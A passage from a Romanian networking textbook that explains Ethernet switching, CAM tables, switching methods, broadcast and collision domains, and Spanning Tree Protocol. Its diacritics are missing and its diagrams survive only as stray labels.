Lanes. Similar tehnologiei de agregare/grupare a mai multor legturi fizice pentru a obine o vitez mai mare de transmisie (Etherchannel), standardul 802.3ba face aceast grupare la nivelul circuitelor i chip-urilor slot-card-ului. Este important de notat c diferena dintre 4 link-uri de 10Gb/s agregate i standardul 802.3ba funcionnd la 40Gbps este faptul c, n primul caz, un stream TCP de trafic nu poate avea mai mult de 10Gbps vitez. O analogie poate fi fcut cu cazul unei aplicaii software scris liniar (non-multithreaded) care ruleaz pe un procesor cu 4 core-uri. Dei cele 4 core-uri pot fi toate libere n momentul de timp t al rulrii, aplicaia nu va rula dect pe un singur core, aceasta neavnd capabilitatea de a multiplexa puterea de procesare. n ceea ce privete adopia 802.3ba n a doua jumtate a anului 2012, slot-card-urile sunt dezvoltate deocamdat doar pe platformele de rutare i switching de nalt performan, iar cele cu capabilitate de 100Gb/s sunt nc prea scumpe pentru a putea fi accesate pe pia. Dei prognoza privind adopia era n favoarea vitezei de 100Gb/s, plcile de 40Gb/s sunt mult mai accesibile ca pre i vor fi probabil primele care vor introduce noul standard pe pia la scar larg.

60 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

2.3 Comutarea cadrelor n reele Ethernet


O reea Ethernet este descris de interfeele i echipamentele de interconectare folosite pentru implementarea unei soluii de comunicare de nivel legtur de date. Din punctul de vedere al nivelului fizic, constrngerile asupra standardului Ethernet se refer n principal la tratarea coliziunilor, n vreme ce specificaiile de nivel legtur de date se refer la construirea i trimiterea cadrelor n reeaua local. O reea Ethernet cuprinde cel mai adesea staii cu interfee de reea Ethernet i echipamente de interconectare de nivel 2, denumite switch-uri. Pe lng acestea, ntr-o reea Ethernet pot fi ntlnite repetoare, hub-uri sau media convertoare, n prezent numrul acestora fiind ns sczut. n anii `80 reelele Ethernet rulau doar peste cablu coaxial, oferind tuturor staiilor posibilitatea conectrii la aceeai magistral (adic la acelai conductor coaxial). Totui, semnalul electric se atenueaz n funcie de distana pe care o traverseaz. Din acest motiv, extinderea ariei de acoperire pentru reelele Ethernet a fost posibil doar prin adugarea unui echipament de interconectare dedicat: repetorul. Repetorul este un echipament de nivel fizic al crui singur rol este acela de a reface semnalul electric, cel mai adesea deteriorat de atenuare. Odat cu apariia cablului torsadat topologia fizic a reelelor Ethernet s-a schimbat de la magistral (bus) la stea. Staiile nu mai erau nlnuite una de alta, ci fiecare staie era conectat la un echipament repetor multiport, denumit hub. Un hub avea rolul de a reface semnalul electric (similar cu un repetor), dar i de replicare a acestuia pe toate porturile cu excepia celui de pe care fusese primit. Din punct de vedere logic reelele Ethernet bazate pe cablu torsadat nu difereau de cele bazate pe cablu coaxial, mediul de transmisie fiind unul partajat. Cu alte cuvinte, dup ce orice staie transmitea date, acestea ajungeau la un hub care le replica pe toate porturile, fcnd imposibil transmiterea simultan i a altor date. Un progres important n eficientizarea comunicaiei din reeaua local a aprut prin nlocuirea hubului cu un echipament de interconectare capabil s neleag ncapsularea cadrelor: switch-ul. Un switch trebuie s ndeplineasc n continuare rolul de a asigura conectivitatea tuturor staiilor, precum i pe acela de regenerare a semnalului electric. n plus, un switch poate determina portul pe care este conectat staia destinaie, descris n antetul Ethernet de adresa MAC destinaie. Astfel, switch-ul poate oferi comunicaie simultan pentru mai multe staii din reeaua local.

2.3.1 Rolul unui switch


Un switch este un echipament de nivel legtur de date ce poate lua decizii pe baza antetului de nivel legtur de date, oferind conectivitate de vitez mare i laten mic. Un switch nu poate ns oferi conectivitate pentru reele diferite, n acest caz fiind necesar folosirea unui echipament de nivel reea, precum un ruter. Exist mai multe tehnologii de nivel legtur de date, fiecare dintre acestea aducnd specificaii diferite pentru echipamentele de interconectare. Cel mai adesea prin termenul de switch se nelege un switch Ethernet, pentru restul echipamentelor de nivel 2 fiind necesar specificarea explicit a tehnologiei (de exemplu, n cazul switch-urilor ATM sau a switch-urilor Frame Relay). Switch-urile Ethernet ofer conectivitate pentru transmisiunile pe cablu torsadat sau pentru fibr optic. Echipamentul ce ofer conectivitate de nivel legtur de date n cazul reelelor Ethernet pe cablu coaxial se numete bridge. Multe dintre protocoalele definite pentru reelele Ethernet nu fac nici o diferen ntre switch i bridge. Diferena cel mai adesea invocat se refer la numrul de porturi: un bridge are un numr mic de porturi (cel mai adesea dou), n vreme ce un switch poate oferi de la cteva pn la sute de porturi. Funcionarea unui switch se bazeaz pe meninerea i folosirea unei tabele de asocieri ntre adresele MAC i porturile pe care acestea sunt accesibile. Aceast tabel se numete tabel de comutare sau tabel CAM, denumirea provenind de la tipul memoriei folosite pentru stocarea

R e e l e E t h e r n e t | 61 acestor asocieri: Content Addressable Memory. Un switch Ethernet menine o singur tabel CAM, indiferent de numrul de porturi. Fiecare switch ia decizii independent, bazndu-se doar pe propria sa tabel CAM.

2.3.2 Procesul de nvare


n seciunea anterioar am introdus conceptul de tabel CAM, tabela de asocieri disponibil la nivelul fiecrui switch pentru luarea deciziilor de comutare. Pentru exemplificare s considerm o reea compus din 4 staii i 3 switch-uri, conectate precum n topologia de mai jos (2-6).

8 1
Sw8

Sw1

7 3
Sw7

4 C

9 E

2-6 Reea local cu 3 switch-uri Tabelele de comutare de pe cele 3 switch-uri vor avea cte 4 intrri, cte una pentru fiecare dintre staiile din reeaua local, dup cum se poate vedea i n 2-7. Putem observa c, din punctul de vedere al Sw8, nu exist nici o diferen ntre staiile direct conectate, precum staiile C i D, i staiile accesibile prin intermediul altor switch-uri, precum staiile E i F. Astfel, din punctul de vedere al Sw8, staia E este accesibil prin portul 1. Adres MAC [C] MAC [D] MAC [E] MAC [F] Interfaa Adres 8 MAC [C] 8 MAC [D] 7 MAC [E] 7 MAC [F] 2-7 Tabelele CAM pentru Sw1, respectiv Sw8 Interfaa 4 9 1 1

Dup cum reiese i din exemplul de mai sus, putem avea mai multe destinaii (adrese MAC) accesibile prin acelai port. ntrebarea la care ne propunem s rspundem n aceast seciune este: cum i construiete un switch tabela de comutare? Tabela de comutare este pstrat n memoria RAM, iar coninutul su este pierdut la reiniializarea switch-ului. n plus, un switch trebuie s ofere suport dinamic pentru includerea n tabela de comutare a informaiilor despre fiecare nou staie adugat n reea. Exist dou metode de adugare a informaiilor n tabela CAM: definirea manual de asocieri sau actualizarea dinamic a asocierilor pe baza informaiilor coninute n cadrele ce traverseaz switchul. n cazul adugrii manuale, este responsabilitatea administratorului de reea de a preciza astfel de asocieri, prin comenzi sau prin editarea de fiiere de configuraie la nivelul fiecrui switch. Orice schimbare de topologie, de la adugarea de staii noi pn la mutarea unei staii n cadrul reelei, trebuie reflectate prin actualizarea manual a tuturor tabelelor de comutare din reeaua local.

62 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Datorit limitrilor importante de scalabilitate impuse de actualizarea manual, cel mai adesea informaiile din tabelele CAM sunt actualizate dinamic. n acest caz, primirea oricrui cadru pe un port la nivelul unui switch declaneaz procesul de analiz a informaiilor coninute n antetul Ethernet. n acest antet se afl i adresa MAC surs. Switch-ul adaug n tabela sa de comutare asocierea dintre portul pe care a fost primit cadrul i adresa MAC surs coninut n cadru. Pentru topologia din 2-6, n urma reiniializrii reelei coninutul tabelei de comutare este vid. Presupunem c staia C trimite date ctre staia D. Acestea ajung ncapsulate la Sw8. Independent de procesul de comutare (ce va fi prezentat n seciunea urmtoare), primul cadru determin actualizarea tabelei de comutare cu o prim asociere: MAC [C] port 4. Tabela de comutare este cel mai adesea folosit pentru cutarea adreselor MAC n cadrul procesului de trimitere a cadrelor. Deoarece adresarea MAC nu ofer posibiliti pentru a optimiza cutarea, este important s pstrm n tabela de comutare doar asocierile corespunztoare staiilor active din reea. Actualizarea dinamic a tabelei CAM ofer i avantajul nlturrii asocierilor ce nu mai sunt folosite: asocierile corespunztoare staiilor ce nu mai transmit o perioad definit de timp vor fi eliminate. Prin acest proces este controlat extinderea dimensiunii tabelei de comutare. Eliminarea asocierilor nefolosite poart numele de mbtrnire a informaiilor (aging process). Pentru fiecare nou asociere dinamic va fi alocat un timp de valabilitate, valoarea implicit a acestuia fiind de 300 de secunde. Dac nainte de expirarea acestui timp se primete pe acelai port un nou cadru de la respectiva surs, timpul de valabilitate este reiniializat la valoarea maxim. Dac, n schimb, timpul expir fr a mai fi primit nici un alt pachet de la aceeai destinaie, asocierea este tears din tabela de comutare. n cazul n care o staie este mutat n alt port al aceluiai switch, echipamentul primete pe acest port cadre semnate cu o adres MAC ce este asociat n tabela de comutare cu un alt port. n acest caz vechea asociere va fi nlturat, chiar dac valoarea timpului de via nu a expirat. Noua asociere va fi adugat n tabel, cu timpul de via implicit.

2.3.3 Procesul de comutare a cadrelor


Comutarea cadrelor n reelele Ethernet reprezint procesul prin care un echipament dedicat (un switch) decide, n urma analizei tabelei de comutare, pe ce porturi va fi trimis mai departe cadrul. Procesul de comutare presupune replicarea nemodificat a cadrelor primite pe portul sau porturile destinaie. Cadrul trimis poate fi modificat numai n cazul combinrii procesului de comutare cu alte funcionaliti, de exemplu cu procesul de etichetare specific reelelor locale virtuale (VLAN-uri) sau cu cel de tunelare de nivel 2. Procesul de comutare presupune extragerea adresei MAC destinaie din cadrul primit. Aceasta este cutat n tabela CAM. Dac rezultatul cutrii furnizeaz o asociere, cadrul este trimis pe portul specificat n respectiva intrare din tabela CAM. Dac, n schimb, procesul de cutare nu gsete nicio asociere n urma parcurgerii ntregii tabele, atunci cadrul este multiplicat pe toate porturile cu excepia celui de pe care a fost primit. Comportamentul unui switch n al doilea caz este similar cu comportamentul unui hub, cu observaia important c un hub replic fiecare bit primit pe toate porturile, n vreme ce un switch replic pe toate porturile doar cadrele pentru care nu gsete o asociere n tabela de comutare. Procesul de replicare a cadrelor pe toate porturile cu excepia celui surs poart numele de difuzare sau flooding. O excepie important o reprezint tratarea pachetelor de difuzare. Dac n urma decapsulrii switch-ul determin c adresa destinaie este adresa MAC de difuzare (FF:FF:FF:FF:FF:FF) atunci va iniia direct procesul de flooding, fr a mai consulta tabela de comutare. Pentru exemplificare considerm topologia din 2-6. Reeaua a fost reiniializat, astfel c tabelele CAM sunt vide. n reea sunt transmise succesiv urmtoarele cadre: C D, E difuzare, F E. Primul cadru este un cadru trimis de staia C cu destinaia MAC [D]. Acest cadru ajunge la Sw8 pe portul 4. Switch-ul extrage adresa destinaie din cadru i o caut n tabela de comutare. Tabela de

R e e l e E t h e r n e t | 63 comutare fiind vid, cutarea eueaz, ceea ce duce la iniierea procesului de flooding. Cadrul este trimis pe toate porturile active, adic att pe portul 9, ct i pe portul 1. Dup ncheierea procesului de comutare se iniiaz procesul de actualizare a tabelei CAM, n urma cruia este adugat n tabela de comutarea a Sw8 asocierea ntre MAC [C] i portul 4. Cadrul trimis pe portul 9 ajunge la staia D, care, n urma decapsulrii, observ c acest pachet i este destinat i l proceseaz la nivelul reea. Cadrul trimis de Sw8 pe portul 1 ajunge la Sw1. n urma cutrii n tabela CAM cadrul este replicat pe toate porturile active, n acest caz doar pe portul 7. Sw7 primete cadrul cu sursa MAC [C] i destinaia MAC [D] pe portul 3. Negsind nici o asociere pentru staia D n tabela sa de comutare, trimite cadrul pe porturile pe care se afl staiile E i F. Apoi actualizeaz propria tabel CAM cu asocierea ntre MAC [C] i portul 3. Staiile E i F primesc fiecare cte o copie a cadrului, dar dup decapsulare decid c acesta nu le este destinat i prin urmare l ignor. Cadrul al doilea este un cadru de difuzare. Sw7 va replica acest cadru att pe portul 3, ct i pe portul 9, apoi va aduga n tabela de comutare asocierea ntre MAC [E] i portul 8. Cadrul ajuns la staia F va fi decapsulat i procesat la nivelul reea. Sw1 primete o copie a cadrului de difuzare i o va trimite pe toate porturile active, n cazul topologiei date doar pe portul 8. n tabela sa de comutare se adaug asocierea MAC [E] port 7. Sw8 va trimite cadrul ctre staiile C i D, i adaug asocierea ntre MAC [E] i portul 1. Ambele staii vor primi cadrul i dup decapsulare l proceseaz la nivelul reea. Cel de al treilea cadru este trimis de staia F ctre E. Cadrul ajuns pe Sw7 este decapsulat, i adresa destinaie este cutat n tabela CAM. n urma cutrii este gsit asocierea ntre adresa MAC destinaie i portul 8. Timpul de via al acestei nregistrri este actualizat la valoarea iniial de 300 de secunde. Cadrul este apoi trimis ctre staia E, unde, dup decapsulare, va fi procesat la nivelul reea.

2.3.4 Metode de comutare


Exist dou metode de comutare a pachetelor: comutare direct (cut through) i comutare dup stocare (store and forward). Metoda de comutare dup stocare se bazeaz pe recepionarea ntregului cadru nainte de a ncepe retransmisia acestuia. Latena acestei metode crete odat cu dimensiunea cmpului de date. Cu toate acestea, performanele metodei de comutare dup stocare pot fi superioare celor oferite de comutarea direct, mai ales n cazul liniilor expuse unor interferene puternice. Mecanismele de detecie a erorilor pe care le ofer aceast metod permit asigurarea unei conexiuni sigure la nivelul legtur de date. Metoda de comutare dup stocare pune i problema asigurrii memoriei pentru stocarea cadrelor. Fie exemplul unui switch cu 24 de porturi. Acesta trebuie s poat gestiona 12 comunicaii simultane, care, n cel mai defavorabil caz posibil, vor transfera cadre de lungime maxim. Se ajunge astfel la o dimensionare a memoriei RAM necesare pentru stocarea cadrelor de aproape 18 kB. Dei dimensionarea memoriei RAM folosite pentru stocarea cadrelor nu este principalul factor de stabilire a preului unui switch, nu trebuie omis faptul c preurile pentru memoriile dispozitivelor dedicate sunt de cteva ori mai ridicate dect cele pentru memoriile folosite n calculatoarele personale. Comutarea direct presupune ca dispozitivul de interconectare s nceap transmiterea cadrului pe portul destinaie imediat ce adresa destinaie a fost trecut prin tabela de comutare i interfaa de plecare a fost determinat. Cel mai adesea se ntmpl ca transmisia cadrului s nceap nainte de recepionarea integral a cadrului. Astfel, switch-ul primete pe una dintre interfee octei ce compun cadrul, transmind n acelai timp pe portul destinaie octeii din acelai cadru primii mai devreme. Pentru comutarea direct nu este necesar nici mcar recepionarea integral a antetului cadrului, adresa destinaie fiind suficient. Aceast metod se numete comutare direct rapid (fast forward) i ofer o laten de aproximativ 21 de s. Datorit faptului c retransmisia cadrului ncepe imediat dup citirea adresei destinaie, cadrele eronate vor fi transmise cu erori. Dei aceste

64 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e cadre sunt respinse la nivelul legtur de date al destinaiei (de ctre placa de reea), traficul generat de retransmisia lor poate, n cazul unui mediu de transmisie cu multe erori, s duc la o depreciere sever a performanelor reelei. Al doilea tip de comutare direct este comutarea fr fragmente (fragment free). n aceast metod fragmentele de cadre rezultate n urma unei coliziuni sunt filtrate. ntr-o reea ce respect specificaiile standardului Ethernet dimensiunea fragmentelor de coliziuni nu poate depi 64 de octei. n cazul comutrii fr fragmente, switch-ul mai nti decide c irul de octei recepionai nu face parte dintr-un fragment rezultat n urma unei coliziuni, i abia apoi ncepe retransmisia pe portul destinaie. Latena n acest caz este de minim 51,2 s, anume timpul necesar recepionrii a 64 de octei. n prezent switch-urile ofer implicit un mod de comutare adaptiv. Acesta presupune funcionarea iniial n regim de comutare direct rapid (fast forward). Dac numrul coliziunilor la nivelul oricrei interfee depete o valoare de prag (predefinit de productorul echipamentului) atunci switch-ul ncepe s funcioneze dup modelul comutrii fr fragmente (fragment free). Dac numrul cadrelor cu erori depete o valoare de prag superioar, atunci modul de funcionare a switch-ului devine store-and-forward.

2.3.5 Tratarea traficului de multicast


Traficul de multicast este generat de o singur surs ctre o adres de grup, adres ce poate aparine mai multor staii. Prin implementarea comunicaiei multicast traficul n reea este redus. Astfel, sursa poate trimite un singur cadru i nu cte o copie a datelor ncapsulate diferit n funcie de adresa destinaie, fiecare nou ncapsulare impunnd i calculul sumei de control CRC. Cel mai adesea traficul de multicast este folosit n reele n care se fac transmisiuni video, sau pentru optimizarea traficului de date n anumite jocuri. O interfa poate aparine, teoretic, unui numr nelimitat de grupuri de multicast, dar de fiecare dat cnd trimite cadre, acestea vor fi semnate cu adresa MAC de unicast. Adresele de unicast MAC sunt unice pentru fiecare interfa de nivel legtur de date. Un repetor, de exemplu, dei are dou interfee fizice, nu are o adres MAC pentru c nu funcioneaz ca echipament de nivel 2. n general switch-urile au un interval de adrese pe care l folosesc pentru a oferi adrese unicast unice pentru fiecare dintre porturi. n reelele Ethernet switch-urile i actualizeaz tabelele CAM pe baza informaiilor din cmpul surs. Este necesar un alt mecanism pentru actualizarea informaiilor legate de adresele de multicast la nivelul tabelei CAM, deoarece adresele multicast nu pot s apar niciodat n cmpul surs. Soluiile folosite pentru tratarea traficului de multicast din reeaua local se bazeaz pe un protocol dedicat denumit IGMP (Internet Group Management Protocol). Studiul acestui protocol depete aria de interes asumat n prezenta carte. Cel mai adesea n reelele locale nu exist suport pentru multicast. Din acest motiv, traficul de multicast generat de unele aplicaii este tratat similar cu traficul de difuzare (broadcast).

2.3.6 Impactul difuzrilor i al coliziunilor


Un criteriu important n proiectarea reelelor locale l reprezint limea de band efectiv disponibil fiecrei staii. Traficul de difuzare (broadcast) i coliziunile duc la reducerea vitezei efective de comunicare. Echipamentele de reea de nivel 1 i 2 replic traficul de difuzare pe toate porturile cu excepia portului surs. Aria dintr-o reea n care se propag un pachet de difuzare poart denumirea de domeniu de difuzare (broadcast domain). Domeniile de difuzare sunt prin urmare extinse de repetoare i switch-uri. n mod implicit un pachet de difuzare primit pe una dintre interfeele unui ruter este ignorat, fr a mai fi iniiat procesul de rutare. Acesta este motivul pentru care putem afirma c dispozitivele de nivel 3 limiteaz domeniile de difuzare. Fiecare interfa a unui ruter se afl ntr-un domeniu diferit de difuzare.

R e e l e E t h e r n e t | 65 22
Hub9 Sw3

3 1 4 34

3 4 4 2
Sw1 Sw2

2
BR

M 3
ISP

7 A

8 B

8 1
Sw8

1 3 4 18 5
HQ

1 2 6

Sw7

4 C D

91

8 E

29 F

21 4 W

2-8 Domenii de difuzare i coliziune Pentru exemplificare folosim topologia din 2-8. Ruterul HQ are 5 interfee active: interfeele 1 i 2 conectate la ISP, interfaa 5 ctre BR, interfaa 6 ctre staia W i interfaa 8 ctre Sw7. Dei Sw7 are alte 4 interfee conectate, n afar de interfaa ctre HQ, nici una dintre acestea nu ajunge la un alt echipament de nivel 3. Prin urmare, putem spune c toate echipamentele conectate prin interfaa 8 a ruterului HQ aparin unui singur domeniu de difuzare. n plus fa de cele 5 domenii de difuzare mrginite de ruterul HQ, n topologie mai sunt nc dou domenii: cel dintre ruterele BR i ISP, precum i domeniul ce cuprinde interfaa 2 a ruterului BR i staia M. Apariia unei coliziuni afecteaz toate echipamentele conectate fizic prin dispozitive de nivel 1, precum hub-uri, repetoare, transceiver-e, etc. Se numete domeniu de coliziune aria din reea n care este propagat o coliziune. Majoritatea implementrilor actuale de Ethernet folosesc echipamente full-duplex, eliminnd astfel orice impact al coliziunilor. Cu toate acestea, pstrarea n reea unor echipamente mai vechi precum hub-uri, switch-uri half-duplex sau chiar staii cu interfee de reea half-duplex poate redeschide problema impactului pe care l au coliziunile asupra ntregii reele. Un switch half-duplex limiteaz domeniile de coliziune. S considerm un scenariu n care Sw8 funcioneaz full-duplex i staia C ncepe s trimit un prim cadru ctre staia D. Presupunem c Sw8 funcioneaz cu comutare direct rapid (fast-forward), astfel c, imediat dup determinarea interfeei asociate cu adresa MAC destinaie, acesta ncepe trimiterea primilor bii din cadrul ce nc nu a fost primit integral. Staia D verific tocmai n acest moment conexiunea de recepie ce este nc nefolosit, i decide c mediul half-duplex este liber, ncepnd deci trimiterea propriilor date, sub forma cadrului al doilea. Dup puin timp att portul switch-ului, ct i interfaa staiei D observ prezena semnalului de date att pe circuitul de trimitere, ct i pe cel de recepie i declaneaz algoritmul CSMA/CD. Sw8 continu primirea datelor pe portul corespunztor staiei C, fr a o informa de apariia coliziunii. n acest scenariu este responsabilitatea switch-ului s retransmit primul cadru pe portul 8, i a staiei D s se ocupe de retransmisia celui de al doilea cadru, conform mecanismului CSMA/CD. Pentru topologia din 2-8 considerm c ruterul HQ i switch-ul Sw7 funcioneaz half-duplex. Fiecare dintre interfeele half-duplex ale aceluiai echipament aparine unui domeniu de coliziune diferit. n reea sunt 5 domenii de coliziune definite de ruterul HQ: {HQ(1), ISP (1)}, {HQ(2), ISP(2)}, {HQ(5), BR(5)}, {HQ(6), W}, {HQ(8), Sw7(1)}. Sw7 mai adug, pe lng domeniul de coliziune deja precizat cu HQ, nc 4 domenii: {Sw7(3), Sw1(7)}, {Sw7(4), Sw2(2)}, {Sw7(8), E}, {Sw7(9), F}. n plus,

66 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e folosirea unui hub impune interfeelor ce ofer conectivitate funcionarea n regim half-duplex. Cel de-al 10-lea domeniu de coliziune va fi cel determinat de Hub9: {Sw3(2), A, B}.

2.4 Redundana n reele Ethernet


n cazul reelelor de date alturi de cerinele de asigurare a conectivitii au fost formulate, nc de la primele standarde, cerine de asigurare a redundanei prin dezvoltarea de protocoale, echipamente i topologii care s ofere ci multiple de comunicaie ntre orice noduri din reea. Din punct de vedere al nivelului fizic, redundana se refer la meninerea mai multor conexiuni fizice active. Conexiunile redundante pot folosi medii diferite de transmisie, i chiar pot fi realizate ntre echipamente diferite. Nivelul legtur de date folosete cile fizice multiple pentru asigurarea redundanei, dar nu pstreaz active conexiunile de nivel 2, din cauza absenei unui mecanism de prevenire a efectelor buclelor din reea. n reelele Ethernet asigurarea redundanei de nivel fizic, fr a crea bucle de nivel legtur de date, se realizeaz printr-un protocol dedicat numit STP (Spanning Tree Protocol). nainte de a prezenta funcionarea protocolului STP vom discuta impactul buclelor pentru reeaua local. O bucl de nivel legtur de date apare ntr-o reea atunci cnd ntre dou dispozitive ale acesteia exist dou sau mai multe legturi active, fiecare conexiune folosind doar dispozitive de interconectare ce pot analiza cel mult informaii de nivel legtur de date. Apariia buclelor de nivel legtur de date este corelat cu faptul c switch-urile nu filtreaz pachetele de difuzare, avnd drept efect o depreciere semnificativ a performanelor reelei prin determinarea unei avalane de difuzri (broadcast storm). Pentru exemplificare considerm topologia din 2-9. Staia C trimite un cadru de difuzare. Sw8 replic acest cadru pe toate porturile active, inclusiv pe portul 1. Copia cadrului ajuns la Sw1 este apoi trimis att ctre Sw2, ct i spre Sw7. Sw7 va trimite cadrul ctre staiile E i F, dar i ctre Sw2. La rndul su Sw2 va trimite mai nti copia primit de la Sw1 pe toate porturile active, n acest caz pe portul 2, dar va trimite i copia primit de la Sw7 ctre Sw1. Procesul se va repeta pn la ntreruperea buclei create ntre Sw1-Sw2-Sw7. Astfel, n urma trimiterii unui singur cadru de difuzare este declanat un proces prin care dou copii ale cadrului iniial vor circula n bucla de nivel 2 i vor fi livrate, ncontinuu, tuturor staiilor din reeaua local, consumnd din limea de band efectiv disponibil fiecreia. Situaia este similar n cazul trimiterii unui cadru de unicast ctre o adres MAC destinaie ce nu este cunoscut de switch-urile din reeaua local. Soluia de asigurare a redundanei la nivelul reelei locale const n pstrarea redundanei la nivelul fizic, cu ntreruperea buclelor de nivel legtur de date.
Sw2

2 8 1
Sw8 Sw1

3
Sw7

4 C D

8 E F

9 2

2-9 Redundana n reele Ethernet

R e e l e E t h e r n e t | 67

2.4.1 Spanning Tree Protocol


Pentru a putea menine ideea de redundan la nivel de legturi fizice, dar fr a permite crearea de bucle logice, a fost creat protocolul STP ( Spanning Tree Proto col). Dup cum sugereaz i numele, algoritmul se bazeaz pe alegerea unui switch central numit root bridge. Acesta va deveni radcina arborelui, restul switch-urilor pstrnd activ doar drumul de cost minim pn la el, folosind o varianta a algoritmului Bellman-Ford. Raportat la arhitectura propus, dac SW2 ar deveni root bridge, atunci din punct de vedere logic ar funciona legturile din 2-10.
Sw2

2 8 1 4 C
Sw8 Sw1

4
Sw7

9 D E

8 F

9 2

2-10 Topologia logic n urma rulrii STP Legtura ntre SW1 i SW7 nu transport trafic n mod activ. Dac legtura ntre SW7 i SW2 nu mai funcioneaz, este reactivat legtura ntre SW1 i SW7. Procesul de calculare al arborelui STP are dou faze: Se alege root bridge-ul; Fiecare switch i stabilete legtura de cost minim pn la root bridge i nchide toate celelalte legturi. Trebuie menionat c n toate criteriile folosite n calculul rolurilor STP, valoarea mai mic este considerat mai bun.

2.4.2 Reguli i roluri n convergen


Root bridge-ul este ales pe baza Bridge-ID-ului, o valoare format din prioritate i adresa MAC a echipamentului. Prioritatea este un numr ntre 4096 i 65535 cu o valoare implicit de 32768, putnd fi modificat n incrementri de 4096. Cu ct valoarea este mai mic, cu att ansele de a fi ales root bridge sunt mai bune. Dac prioritile sunt egale, se compar adresele MAC. Raportndu-ne la topologia din 2-10, n care root bridge este SW2, o posibil list de Bridge ID-uri ar putea fi: SW2: 32768:AA-CD-BE-16-32-11 SW1: 32768:AA-CD-BE-44-32-11 SW7: 32768:AA-CD-FE-66-32-11 SW8: 32768:AA-CD-FE-66-52-11 Dup selecia unui root bridge fiecare switch i alege un singur port pe care poate ajunge la acesta, numit root port. Fiecare segment Ethernet va avea un capt care duce spre acesta, denumit designated port. Criteriile dup care se negociaz designated port ntre dou switch-uri la nivel de segment Ethernet sunt, n ordinea importanei: Costul cel mai mic raportat pn la root bridge; Cel mai mic Bridge ID.

68 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Criteriile dup care un switch stabilete care din porturi va fi root port sunt, n ordinea prioritii: Costul cel mai mic raportat pn la root bridge; Portul conectat la switch-ul cu cel mai mic Bridge ID; Portul cu cea mai mic prioritate; Portul cu cel mai mic ID. Costul pn la root bridge se incrementeaz la fiecare punct de nivel doi intermediar, pn la switch-ul curent. STP-ul are reglementat un set de costuri fixe n funcie de viteza interfeei fizice, expuse n 2-11. Viteza Cost 10 Mbps 100 100 Mbps 19 1 Gbps 4 10 Gbps 2 2-11 Costuri STP Prioritatea la nivel de interfa poate avea valori ntre 2 i 256, fiind implicit 128. Pentru a comunica parametrii STP n scopul negocierilor iniiale, precum i pentru a menine stabilitatea topologiei, se transmit pachete speciale numite BPDU-uri (Bridge Protocol Data Units). Acestea sunt emise la intervale fixe numite Hello time, avnd valoarea implicit de 2 secunde. Pentru a nelege ce se ntmpl cu porturile care nu devin root sau designated, trebuie s studiem tranziia de stri a porturilor de switch n condiiile utilizrii protocolului STP. n funcie de starea n care se afl un port, acesta poate procesa exclusiv trafic STP, sau poate tranzita i trafic util. De asemenea, ntre anumite stri se trece doar dup epuizarea unui interval de timp numit Forward Delay avnd o valoare implicit de 15 secunde. O descriere a strilor n care se poate situa un port se afl n 2-12.

2.4.3 Exemplu de topologie de STP


Pentru a verifica dac ateptrile noastre asupra modului n care se stabilizeaz o reea sunt coerente cu logica STP, ar putea fi folosite urmtoarele reguli: Stare Durata tranziiei Descriere Disabled N/A Portul nu este funcional: nici nu transmite, nici nu primete BPDU sau trafic util. Blocking N/A Portul a fost nchis in urma negocierilor STP pentru a preveni buclele logice. Traficul BPDU este primit i interpretat n continuare. Listening 15 s Portul particip n mod activ la o negociere STP, putnd deveni root port sau designated. Se trimit BPDU-uri dar nu i trafic util. Learning 15 s La fel ca i n starea anterioar, portul tranziteaz n mod activ BPDU-uri i i populeaz tabela cu adrese MAC. n continuare nu se poate trimite trafic util. Forwarding N/A Portul a fost ales ca root sau designated i poate procesa trafic util. Portul continu s trimit i s interpreteze BPDU-uri. 2-12 Strile posibile ale unui port STP Topologia trebuie s aib un singur root bridge. Root bridge-ul trebuie s aib toate porturile n starea forwarding. Fiecare switch poate avea un singur root port. Fiecare segment Ethernet poate avea o singur terminaie designated. Un segment Ethernet va procesa trafic util doar dac ambele capete sunt trecute n starea forwarding.

R e e l e E t h e r n e t | 69 n topologia din 2-13 observm negocierile ce vor avea loc, pas cu pas, pentru stabilirea root bridge-ului precum i a arborelui STP aferent. SW1 devine root bridge deoarece are valoarea de prioritate cea mai mic. Dup stabilirea root bridge-ului, fiecare echipament trebuie s determine calea optim pn la acesta.
32768:aabbcc423789 3 Sw3

19 19 19

3 32768:aabbcc523111 4 1
Sw2

4 19 3 2
Sw1

4096:deffcd112211 1

19 7 100 0 4
Sw7

32768:aabbcc223111

2-13 STP - alegerea root bridge-ului Porturile lui SW1 vor fi toate n starea forwarding i, pe toate segmentele unde este conectat, porturile deinute de acesta vor fi designated. SW7 poate ajunge la root bridge prin portul 3 cu un cost de 100 i pe portul 4 cu un cost de 38. Portul 3 va fi trecut n blocking, iar portul 4 va fi n forwarding, primind rolul de root port datorit costului mai bun. Pe segmentul SW1-SW7 portul 3 este blocking iar portul 7 este designated i forwarding. Pe segmentul SW7-SW2 portul 4 va fi forwarding i portul 2 va fi designated i forwarding. SW2 poate ajunge la SW1 prin portul 1 cu un cost de 19 sau prin porturile 3 i 4 cu un cost de 38, la fel i SW3. Ambele switch-uri vor selecta portul 1 ca fiind root port datorit costului mai bun. Pe segmentul ntre SW2 i SW3 nu se va mai procesa trafic util, fiind considerat un traseu redundant pn la root bridge. Totui, trebuie negociat care capt va fi n forwarding si care va fi n blocking. SW2 i SW3 raporteaz acelai cost unul ctre cellalt; ca atare, se va folosi Bridge ID-ul ca i criteriu de departajare. Pentru c SW3 prezint un ID mai bun, terminaiile aferente acestuia vor fi designated, iar cele aferente lui SW2 vor fi blocking. Topologia final se poate vedea n 2-14. 3
Sw3

19 19 19 3 D
Sw1

B B4 Sw2 R 1 D 2

4 D R 19 D D 2

19

4096:deffcd112211 1

100 0

B
Sw7

2 32768:aabbcc223111

2-14 STP - topologia final

70 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

2.4.4 Criterii de reconvergen


